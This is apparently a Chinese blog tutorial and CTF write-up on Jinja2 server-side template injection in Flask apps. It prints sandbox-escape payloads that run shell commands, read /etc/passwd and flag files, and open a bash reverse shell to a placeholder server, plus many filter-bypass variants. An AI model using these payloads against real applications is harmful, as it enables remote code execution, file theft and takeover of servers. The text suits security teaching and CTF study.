当前位置: 首页 > news >正文

SSTI模板注入基础(Flask+Jinja2)

文章目录

  • 一、前置知识
    • 1.1 模板引擎
    • 1.2 渲染
  • 二、SSTI模板注入
    • 2.1 原理
    • 2.2 沙箱逃逸
      • 沙箱逃逸payload讲解
      • 其他重要payload
    • 2.3 过滤绕过
      • 点`.`被过滤
      • 下划线`_`被过滤
      • 单双引号`' "`被过滤
      • 中括号`[]`被过滤
      • 关键字被过滤
  • 三、PasecaCTF-2019-Web-Flask SSTI
    • 参考文献

一、前置知识

1.1 模板引擎

  模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
在这里插入图片描述

Flask是一个 web 框架,Jinja2是模板引擎。

模板引擎判断
在这里插入图片描述

绿色为执行成功,红色为执行失败。

1.2 渲染

  • 前端渲染( SPA , 单页面应用 )
      浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 ),浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户。整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可。

    也就是说服务端只发送用户所需数据,浏览器负责将这部分数据排列成人类可读的HTML字符串。

  • 后端渲染( SSR , 服务器渲染 )
      浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 。整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可。

    也就是说服务端将用户所需的数据排列成人类可读的HTML字符串了,浏览器只需对传输的数据解码就可以用了。

Flask中的重要渲染函数:render_template()render_template_string()
Jinja2模板语法:

{% ... %} //声明变量,当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}={%print(...)%}

二、SSTI模板注入

2.1 原理

  漏洞成因:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

  凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

举一个栗子,下面是后端代码:

from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

name变量完全可控,那么写入Jinja2模板语言:
在这里插入图片描述
这大概就是SSTI模板注入,使用{{....}}的方式测试参数,可以用来判断是否存在SSTI模板注入。

2.2 沙箱逃逸

  在上述代码中,虽然理论上可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句并不会执行,如直接name={{os.popen(%27dir%27)}}。沙盒逃逸的过程简单讲如下:

变量类型 → \rightarrow 找到所属类型 → \rightarrow 回溯基类 → \rightarrow 寻找可利用子类 → \rightarrow 最终payload

一些内建魔术方法如下:

  • __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
    >>> ''.__class__
    <type 'str'>
    >>> ().__class__
    <type 'tuple'>
    >>> [].__class__
    <type 'list'>
    >>> {}.__class__
    <type 'dict'>
    
  • __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值。
    >>> ().__class__.__bases__
    (<type 'object'>,)
    >>> ''.__class__.__bases__
    (<type 'basestring'>,)
    >>> [].__class__.__bases__
    (<type 'object'>,)
    >>> {}.__class__.__bases__
    (<type 'object'>,)
    >>> [].__class__.__bases__[0]
    <type 'object'>
    
  • __mro__:也可以获取基类
    >>> ''.__class__.__mro__
    (<class 'str'>, <class 'object'>)
    >>> [].__class__.__mro__
    (<class 'list'>, <class 'object'>)
    >>> {}.__class__.__mro__
    (<class 'dict'>, <class 'object'>)
    >>> ().__class__.__mro__
    (<class 'tuple'>, <class 'object'>)
    >>> ().__class__.__mro__[1]            # 使用索引就能获取基类了
    <class 'object'>
    
  • __subclasses__():以列表返回类的子类
  • _globals__:以dict返回函数所在模块命名空间中的所有变量

沙箱逃逸payload讲解

  以下面的payload为例详细阐述沙箱逃逸的思路。{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

核心思想:核心在于python中类的继承与被继承的关系,通过这种关系的查找合适的类,找到合适的类后利用该类中的函数或者模块去调用与读取文件相关的函数或命令,上述payload中获取flag或者重要文件信息的关键是eval("__import__('os').popen('type flag.txt').read()")

  1. 除了标准的python语法使用.访问变量属性外,还可以使用[]来访问变量属性。

  2. ''.__class____class__是类中的一个内置属性,值是该实例的对应的类。这里使用的是’'.class,得到的则是空字符串这个实例对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作。也可以使用()/[]/{}
    在这里插入图片描述

  3. ''.__class__.__base____base__也是类中的一个内置属性,值当前类的父类,而在python中object是一切类最顶层的父类,也就是说我们可以通过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object),最终便会获取到object,而由于object的特殊性,我们便能从object往下获取到其他所有的类,其中便有着能实现我们读取flag功能的类。
    在这里插入图片描述

    其他类似功能的还有__bases__(返回值是数组,__base__返回值是一个值)、__mro__,但返回的数据包含类的元组,所以还需要下标选定object类)。

  4. ''.__class__.__base__.__subclasses__()__subclasses__ ()是类中的一个内置方法,返回值是包含当前类所有子类的一个列表,通过上一步获取到的object类我们实现了向下获取,接着我们需要在这些子类中获取合适的类。
    在这里插入图片描述

  5. ''.__class__.__base__.__subclasses__()[80].__init__ __init__是类中的内置方法,在这个类实例化是自动被调用,但是返回值只能是None,且在调用时必须传入该类的实例对象。如果我们不去调用它,此时我们获得的是我们选取的类中的__init__这个函数。由于python一切皆对象的特性,函数本质上也是对象,也存在类中的一些内置方法和内置属性,所以我们可以执行接下来的操作。
    在这里插入图片描述

    常用的可利用的类:<class 'os._wrap_close'><class 'subprocess.Popen'>

  6. ''.__class__.__base__.__subclasses__()[80].__init__.__globals____globals__是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块__builtins__
    在这里插入图片描述

    注意:并不是每个类的__init__都拥有__globals__属性,找__init__中拥有__globals__属性的类的原因是:__builtins__模块中有很多我们常用的内置函数和类,其中就有eval()函数。
    在这里插入图片描述

其他重要payload

  1. 作为储存配置信息的变量config刚好对应的就是一个非常合适的类,{{config}}查看配置信息
    在这里插入图片描述
    因为这个类中__init__函数全局变量中已经导入了os模块,我们可以直接调用。

    {{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}
    
  2. 读取文件payload

    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

    object类的子类是<type 'file'>

  3. 任意代码执行(获取popen方法)

    • <class 'os._wrap_close'>
      ''.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__.popen('ls').read() //这个可以用# 反弹shell
      ''.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
      
    • <class 'subprocess.Popen'>
      ().__class__.__bases__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]
      
      • subprocess.popen(conmand, shell=true, stdout=-1)用于执行外部命令。
        stdout=-1时,表示将子进程的标准输出重定向到标准错误输出(stderr),这意味着子进程的标准输出将与标准错误输出合并,并以标准错误输出的方式处理。也就是说后续使用communicate获取输出的时候,拿到的是标准输出和标准错误输出的一个列表。shell=True表示通过shell来执行命令。
      • subprocess.popen.communicate():获取执行命令后的输出。
    • 通过lipsum获取popen方法
      ?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag}}
      ?name={{lipsum.__globals__.__builtins__.open(/flag).read()}}
      
  4. {{request.environ}},一个与服务器环境相关的对象字典 .
    在这里插入图片描述

2.3 过滤绕过

.被过滤

	"".__class__ == ""["__class__"]"".__class__ == (""|attr("__class__"))"".__class__ == "".__getattribute__("__class__")

下划线_被过滤

	"__class__"=="\x5f\x5fclass\x5f\x5f" //UTF-8编码"".__class__ == (""|attr(request.values.cmd))&cmd=__class__# 例如原payload:?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag#改后的payload:?name={{(lipsum | attr(request.values.a)).os.popen(request.values.b).read()}}&b=ls&a=__globals__

单双引号' "被过滤

	# 当单双引号被过滤后以下访问将被限制{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 可以通过request.args的get传参输入引号内的内容,payload:{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}&popen=popen&cmd=cat /flag# 可以通过request.form的post传参输入引号内的内容,payload:{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}# 同时post传参?popen=popen&cmd=cat /flag# 使用request.values进行传参,payload;{{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag }}

中括号[]被过滤

# 当中括号被过滤时,如下将被限制访问
().__class__.__bases__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]# 可使用魔术方法__getitem__替换中括号[],payload如下:
().__class__.__bases__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

关键字被过滤

  1. os被过滤
#os被过滤,使用get()函数,获取字典中的值,如payload:
?name={{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag
  1. request被过滤
#{{}}中的request被过滤,可能{%%}中的request没被过滤。print的前提是解析print里面的东西。
?name={%print((lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat ../flag
  1. 数字被过滤
dict(e=a)|join|count #1
dict(ee=a)|join|count #2
  1. 构造字符
    既然字符被过滤,我们就构造字符。

    • ()|select|string
        ()|select|string得到的结果是: <generator object select_or_reject at 0x十六进制数字>,如下图:
      在这里插入图片描述
        使用()|select|string|list,将上述字符串转化为数组,数组元素为每一个字符。再使用pop()函数提取其中的字符,如获取下划线()|select|string|list.pop(24)
      在这里插入图片描述

      这里或许不能用中括号进行遴选,因为中括号被过滤了~

    • 字符拼接

    # 使用+或~
    ().__class__ == ()['__cl'+'ass__'] == {% set a='__cl' %}{% set b='ass__' %}{{()[a~b]}}(Jijia2)
    # dict() 与 join函数连用,连接字典的键
    __class__ == (_,_,(dict(class=1)|join),_,_)|join
    # chr(),输入ASCII码,输出ASCII对应的字符
    

    示例payload:

    ?name=
    {% set a=(()|select|string|list).pop(24) %}    // a = _
    {% set globals=(a,a,dict(globals=1)|join,a,a)|join %}  // globals=__globals__
    {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} // builtins=__builtins__
    {% set a=(lipsum|attr(globals)).get(builtins) %}
    {% set chr=a.chr %}
    {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
    

三、PasecaCTF-2019-Web-Flask SSTI

  登录靶机,输入1,页面又返回1,因为提示使用Flask框架,使用{{1+1}}测试是否渲染引擎为Jinja2
在这里插入图片描述在这里插入图片描述

说明此处存在SSTI模板注入,且框架为Flask,模板引擎Jinja2

在这里插入图片描述

注释:

  • jQuery是javascript的一个库, $号是jQuery类的一个别称,$()构造了一个jQuery对象,$()可以叫做jQuery的构造函数。
  • $.post语法:jQuery.post(url, data, success(data,textStatus,jqXHR), datatype),其中:
    • url,规定把请求发送到哪个URL;
    • data,规定连同请求发送给服务器的数据;
    • success(data,textStatus,jqXHR),请求成功时返回的回调函数;
    • datatype,规定预期服务器响应的数据类型。

测试发现过滤了. * _
在这里插入图片描述
在这里插入图片描述
使用UTF-8编码绕过过滤,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"]}}
在这里插入图片描述
读取app.py文件,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

在这里插入图片描述
通过阅读代码,发现flag经过加密后放在app.config中。app就是一个Flask对象,app.config存储这个Flask对象的所有配置变量。
{{config}}查看配置变量,'flag': '(U0\x1fy\x13y:0Sq5(\x11F\x03o\x0fdB\x1c\x13[X!jYeN_\x10\x15'}
在这里插入图片描述
好,不会解密了。噶~

参考文献

  1. SSTI进阶
  2. SSTI漏洞利用及绕过总结(绕过姿势多样)

相关文章:

SSTI模板注入基础(Flask+Jinja2)

文章目录 一、前置知识1.1 模板引擎1.2 渲染 二、SSTI模板注入2.1 原理2.2 沙箱逃逸沙箱逃逸payload讲解其他重要payload 2.3 过滤绕过点.被过滤下划线_被过滤单双引号 "被过滤中括号[]被过滤关键字被过滤 三、PasecaCTF-2019-Web-Flask SSTI参考文献 一、前置知识 1.1 模…...

React网页转换为pdf并下载|使用jspdf html2canvas

checkout 分支后突然报错&#xff0c;提示&#xff1a; Cant resolve jspdf in ... Cant resolve html2canvas in ... 解决方法很简单&#xff0c;重新 yarn install 就好了&#xff0c;至于为什么&#xff0c;我暂时也不知道&#xff0c;总之解决了。 思路来源&#xff1a; 先…...

EASYEXCEL导出表格(有标题、单元格合并)

EASYEXCEL导出表格&#xff08;有标题、单元格合并&#xff09; xlsx格式报表的导出&#xff0c;导出的数据存在父子关系&#xff0c;即相当于树形数据&#xff0c;有单元格合并和标题形式的要求&#xff0c;查阅了一些资料&#xff0c;总算是弄出来了&#xff0c;这里另写一个…...

pytest 断言异常

一、前置说明 在 pytest 中,断言异常是通过 pytest 内置的 pytest.raises 上下文管理器来实现的。通过使用 pytest.raises,可以捕获并断言代码中引发的异常。 二、操作步骤 1. 编写测试代码 atme/demos/demo_pytest_tutorials/test_pytest_raises.py import pytest# 示例…...

听GPT 讲Rust源代码--src/tools(22)

File: rust/src/tools/tidy/src/lib.rs rust/src/tools/tidy/src/lib.rs是Rust编译器源代码中tidy工具的实现文件之一。tidy工具是Rust项目中的一项静态检查工具&#xff0c;用于确保代码质量和一致性。 tidy工具主要有以下几个作用&#xff1a; 格式化代码&#xff1a;tidy工具…...

OD Linux发行版本

题目描述&#xff1a; Linux操作系统有多个发行版&#xff0c;distrowatch.com提供了各个发行版的资料。这些发行版互相存在关联&#xff0c;例如Ubuntu基于Debian开发&#xff0c;而Mint又基于Ubuntu开发&#xff0c;那么我们认为Mint同Debian也存在关联。 发行版集是一个或多…...

华为端口隔离简单使用方法同vlan下控制个别电脑不给互通

必须得用access接口&#xff0c;hybrid口不行 dhcp enable interface Vlanif1 ip address 192.168.1.1 255.255.255.0 dhcp select interface interface MEth0/0/1 interface GigabitEthernet0/0/1 port link-type access port-isolate enable group 1 interface GigabitEther…...

DaVinci各版本安装指南

链接: https://pan.baidu.com/s/1g1kaXZxcw-etsJENiW2IUQ?pwd0531 ​ #2024版 1.鼠标右击【DaVinci_Resolve_Studio_18.5(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;【解压到 DaVinci_Resolve_Studio_18.5(64bit)】。 2.打开解压后的文…...

【黑马甄选离线数仓day10_会员主题域开发_DWS和ADS层】

day10_会员主题域开发 会员主题_DWS和ADS层 DWS层开发 门店会员分类天表: 维度指标: 指标&#xff1a;新增注册会员数、累计注册会员数、新增消费会员数、累计消费会员数、新增复购会员数、累计复购会员数、活跃会员数、沉睡会员数、会员消费金额 维度: 时间维度&#xff08…...

OD 完美走位

题目描述&#xff1a; 在第一人称射击游戏中&#xff0c;玩家通过键盘的A、S、D、W四个按键控制游戏人物分别向左、向后、向右、向前进行移动&#xff0c;从而完成走位。假设玩家每按动一次键盘&#xff0c;游戏人物会向某个方向移动一步&#xff0c;如果玩家在操作一定次数的键…...

SpringSecurity6 | 失败后的跳转

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: Java从入门到精通 ✨特色专栏: MySQL学习 🥭本文内容: SpringSecurity6 | 失败后的跳转 📚个人知识库: Leo知识库,欢迎大家访问 学习…...

MySQL数据库增删改查

常用的数据类型&#xff1a; int&#xff1a;整数类型&#xff0c;无符号的范围【0&#xff0c;2^32-1】&#xff0c;有符号【-2^31,2^31-1】 float&#xff1a;单精度浮点&#xff0c;4字节64位 double&#xff1a;双精度浮点&#xff0c;8字节64位 char&#xff1a;固定长…...

Altium Designer(AD24)新工程复用设计文件图文教程及视频演示

&#x1f3e1;《专栏目录》 目录 1&#xff0c;概述2&#xff0c;复用方法一视频演示2.1&#xff0c;创建工程2.2&#xff0c;复用设计文件 3&#xff0c;复用方法二视频演示4&#xff0c;总结 欢迎点击浏览更多高清视频演示 1&#xff0c;概述 本文简述使用AD软件复用设计文件…...

Python遥感影像深度学习指南(1)-使用卷积神经网络(CNN、U-Net)和 FastAI进行简单云层检测

【遥感影像深度学习】系列的第一章,Python遥感影像深度学习的入门课程,介绍如何使用卷积神经网络(CNN)从卫星图像中分割云层 1、数据集 在本项目中,我们将使用 Kaggle 提供的 38-Cloud Segmentation in Satellite Images数据集。 该数据集由裁剪成 384x384 (适用…...

Hive-DML详解(超详细)

文章目录 前言HiveQL的数据操作语言&#xff08;DML&#xff09;1. 插入数据1.1 直接插入固定值1.2 插入查询结果 2. 更新数据3. 删除数据3.1 删除整个分区 4. 查询数据4.1 基本查询4.2 条件筛选4.3 聚合函数 总结 前言 本文将介绍HiveQL的数据操作语言&#xff08;DML&#x…...

PHP实现可示化代码

PHP是一种服务器端脚本语言&#xff0c;它主要用于开发Web应用程序。虽然PHP本身不提供可视化代码的功能&#xff0c;但你可以使用一些第三方库和工具来实现可视化代码。 以下是一些常用的PHP可视化代码的工具和库&#xff1a; 1. Graphviz&#xff1a;Graphviz是一个开源的可…...

useState语法讲解

useState语法讲解 语法定义 const [state, dispatch] useState(initData)state&#xff1a;定义的数据源&#xff0c;可视作一个函数组件内部的变量&#xff0c;但只在首次渲染被创造。dispatch&#xff1a;改变state的函数&#xff0c;推动函数渲染的渲染函数。dispatch有两…...

堆与二叉树(下)

接着上次的&#xff0c;这里主要介绍的是堆排序&#xff0c;二叉树的遍历&#xff0c;以及之前讲题时答应过的简单二叉树问题求解 堆排序 给一组数据&#xff0c;升序&#xff08;降序&#xff09;排列 思路 思考&#xff1a;如果排列升序&#xff0c;我们应该建什么堆&#x…...

讲诉JVM

jvm是Java代码运行的环境&#xff0c;他将java程序翻译成为机器可以可以识别的机器码&#xff0c;可以跨平台运行如linuc或者windos 简单说一下我对jvm运行的理解&#xff0c; 首先我们运行程序的时候&#xff0c;类加载器会将类按需加载到元空间/方法区里面 …...

8、SpringCloud高频面试题-版本1

1、SpringCloud组件有哪些 SpringCloud 是一系列框架的有序集合。它利用 SpringBoot 的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用 SpringBoot 的开发风格做到一键启…...

PHP案例代码:PHP如何提供下载功能?

对Web开发人员来说,“下载”功能是一个非常常见的需求。在网站中提供文件下载,通常用于提供用户手册、软件升级、音乐、视频等各种资源文件。本教程将向您介绍如何实现一个PHP下载功能,同时告诉浏览器文件名称、文件大小、文件类型,并统计下载次数。 首先,我们需要了解一些…...

The Cherno C++笔记 03

目录 Part 07 How the C Linker Works 1.链接 2.编译链接过程中出现的错误 2.1 缺少入口函数 注意:如何区分编译错误还是链接错误 注意&#xff1a;入口点可以自己设置 2.2 找不到自定义函数 2.2.1缺少声明 2.2.2自定义函数与引用函数不一致 2.3 在头文件中放入定义 …...

蓝牙物联网与嵌入式开发如何结合?

蓝牙物联网与嵌入式开发可以紧密结合&#xff0c;以实现更高效、更智能的物联网应用。以下是一些结合的方式&#xff1a; 嵌入式开发为蓝牙设备提供硬件基础设施和控制逻辑&#xff1a;嵌入式系统可以利用微处理器和各种外设组成的系统&#xff0c;为蓝牙设备提供硬件基础设施和…...

前端面试——JavaScript面经(持续更新)

一、数据类型 1. JavaScript用哪些数据类型、它们有什么区别&#xff1f; JavaScript共有八种数据类型&#xff0c;分别包括5种基本数据类型和3种非基本数据类型。 基本数据类型&#xff1a;Undefined、Null、Boolean、Number、String。非基本数据类型&#xff1a;Object、S…...

微前端——无界wujie

B站课程视频 课程视频 课程课件笔记&#xff1a; 1.微前端 2.无界 现有的微前端框架&#xff1a;iframe、qiankun、Micro-app&#xff08;京东&#xff09;、EMP&#xff08;百度&#xff09;、无届 前置 初始化 新建一个文件夹 1.通过npm i typescript -g安装ts 2.然后可…...

连锁便利店管理系统有什么用

连锁便利店管理系统对于连锁便利店的运营和管理非常有用。以下是一些常见的用途&#xff1a; 1. 库存管理&#xff1a;连锁便利店通常需要管理多个门店的库存&#xff0c;管理系统可以帮助实时掌握各个门店的库存情况&#xff0c;包括商品数量、进货记录、库存调拨等。这样可以…...

Vue 的两种实现:VSCode 中配置 vue 模板快捷方式的过程

1、创建配置文件&#xff1a; 其一、打开 VSCode &#xff0c;CtrlShiftP, 打开搜索框&#xff1a; 其二、输入&#xff1a;user, 并点击进去 Snippets:Configure User Snippets 其三、输入 vue3js 并回车&#xff1a; 其四、打开项目&#xff0c;发现配置文件 vue3js.code-sn…...

electron 切换至esm

前言 好消息&#xff0c;经过不知道多少年的讨论。 electron28.0.0开始&#xff08;23.08.31&#xff09;&#xff0c;默认支持esm了。 see https://github.com/electron/electron/issues/21457 使用方法 升级至electron^28.0.0简单地在package.json中添加"type":…...

【新版】软考 - 系统架构设计师(总结笔记)

个人总结学习笔记&#xff0c;仅供参考&#xff01;&#xff01;&#xff01;! →点击 笔者主页&#xff0c;欢迎关注哦&#xff08;互相学习&#xff0c;共同成长&#xff09; 笔记目录 &#x1f4e2;【系统架构设计系列】系统架构设计专业技能 计算机组成与结构操作系统信…...

Spring MVC 方法中添加参数、HttpServletRequest 和 HttpServletResponse 对象

在这个例子中&#xff0c;我们添加了 HttpServletRequest 和 HttpServletResponse 对象作为控制器方法的参数。这样&#xff0c;你就可以在方法内部同时访问请求参数、请求对象和响应对象&#xff0c;从而进行更灵活的 HTTP 请求和响应处理。 RestController public class MyC…...